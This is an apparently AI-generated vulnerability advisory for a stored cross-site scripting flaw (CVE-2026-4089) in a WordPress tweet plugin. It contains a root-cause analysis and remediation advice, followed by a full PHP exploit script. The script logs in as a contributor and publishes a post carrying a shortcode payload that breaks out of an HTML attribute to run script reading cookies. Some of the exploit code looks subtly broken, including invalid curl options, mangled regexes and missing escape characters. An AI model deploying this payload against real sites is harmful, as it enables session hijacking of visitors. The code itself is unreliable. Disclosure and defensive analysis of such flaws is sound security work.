Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-4089: Twittee Text Tweet <= 1.0.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute (twittee-text-tweet)

CVE ID CVE-2026-4089
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.8
Patched Version
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4089 (metadata-based): This is a Stored Cross-Site Scripting (XSS) vulnerability in the Twittee Text Tweet plugin for WordPress, affecting all versions up to and including 1.0.8. The vulnerability allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the ‘id’ shortcode attribute, due to insufficient input sanitization and output escaping on shortcode attributes processed by the ttt_twittee_tweeter() function. The CVSS score is 6.4 (Medium), with a network vector, low attack complexity, low privileges required, no user interaction, and a changed scope, indicating potential for limited impact on confidentiality and integrity.

Root Cause: The root cause lies in the ttt_twittee_tweeter() function, which uses PHP’s extract() to import shortcode attributes into local variables and then concatenates them directly into HTML output without any escaping. The description confirms that the $id parameter is inserted into an HTML id attribute context without esc_attr(), and parameters $tweet, $content, $balloon, and $theme are injected into inline JavaScript without escaping. Atomic Edge analysis infers that the shortcode attributes are not sanitized before being passed to extract(), meaning an attacker can include arbitrary JavaScript event handlers (e.g., onmouseover, onclick) by breaking out of the HTML attribute context. The absence of esc_attr(), esc_html(), or wp_kses() usage is the confirmed technical flaw.

Exploitation: An attacker with Contributor-level access creates or edits a WordPress post or page and inserts the plugin’s shortcode, e.g., [ttt_twittee_tweet id=’x” onmouseover=”alert(1)” data=’]. The crafted ‘id’ attribute value breaks out of the HTML id attribute context and injects an event handler. When any user accesses the post, the injected script executes in their browser context. The attack vector is the WordPress post editor interface (or REST API for programmatic content creation) where shortcodes are processed. No additional endpoint (like admin-ajax.php) is required; the vulnerability triggers on page load when WordPress renders the shortcode. Atomic Edge research confirms the attack is stored and persistent because the malicious shortcode is saved into the database.

Remediation: The fix requires replacing direct concatenation in the ttt_twittee_tweeter() function with proper escaping functions. The $id parameter must be escaped using esc_attr() when output into the HTML attribute context. The $tweet, $content, $balloon, and $theme parameters must be escaped using esc_js() when inserted into inline JavaScript, or better, use wp_json_encode() and text nodes instead of inline script. Additionally, input should be sanitized with sanitize_text_field() or similar functions before being passed to extract(), or extract() should be replaced with explicit variable assignments from the shortcode attributes array. No patched version is available; site administrators should disable the plugin until a fix is released.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user visiting the compromised page. This can lead to session hijacking, cookie theft, phishing attacks, or defacement. Since the vulnerability requires authenticated access with Contributor-level or higher privileges, the risk is primarily internal (e.g., a compromised contributor account). However, if the injected page is publicly accessible (e.g., on a blog post), all visitors are affected. The CVSS scope changed to ‘Changed’ indicates the compromised resource (user browser) is different from the vulnerable component (WordPress page). No direct data exposure or privilege escalation occurs from this vector alone.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4089 - Twittee Text Tweet <= 1.0.8 - Authenticated (Contributor+) Stored XSS via 'id' Shortcode Attribute

// Configuration: Set your WordPress target URL and credentials
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'contributor';          // Change to valid Contributor user
$password = 'password';             // Change to password

// Step 1: Authenticate as Contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Check if login succeeded (look for admin bar or dashboard)
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials or URL.');
}
echo "[+] Login successful.n";

// Step 2: Get the nonce for creating a new post
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_GET, true);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract _wpnonce from URL (for post creation REST API)
preg_match('/restNonces*:s*"([^"]+)"/', $response, $matches);
$rest_nonce = $matches[1] ?? '';
preg_match('/_wpnonce="([^"]+)"/', $response, $matches);
$wpnonce = $matches[1] ?? '';

if (empty($rest_nonce) && empty($wpnonce)) {
    echo "[-] Could not extract nonce. Attempting alternative approach.n";
}

// Step 3: Create a new post with the malicious shortcode
// The payload breaks out of the HTML id attribute and injects an onmouseover event
$payload_id = 'x" onmouseover="alert(document.cookie)" data=';
$shortcode = '[ttt_twittee_tweet id="' . $payload_id . '"]';
$post_data = array(
    'title' => 'Atomic Edge PoC - CVE-2026-4089',
    'content' => $shortcode,
    'status' => 'publish',
    '_wpnonce' => $wpnonce
);

// Use the REST API for post creation (modern WordPress)
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
);

$json_data = json_encode(array(
    'title' => 'Atomic Edge PoC - CVE-2026-4089',
    'content' => $shortcode,
    'status' => 'publish'
));

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, 'cookies.txt');
$response = curl_exec($ch);
$response_json = json_decode($response, true);

if (isset($response_json['id'])) {
    $post_id = $response_json['id'];
    $post_url = $target_url . '/?p=' . $post_id;
    echo "[+] Exploit post created!n";
    echo "[+] Visit to trigger XSS: " . $post_url . "n";
    echo "[+] Hover over the tweet element to execute script.n";
} else {
    echo "[-] Post creation failed. Response:n";
    print_r($response_json);
}

// Clean up cookies file
unlink('cookies.txt');
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School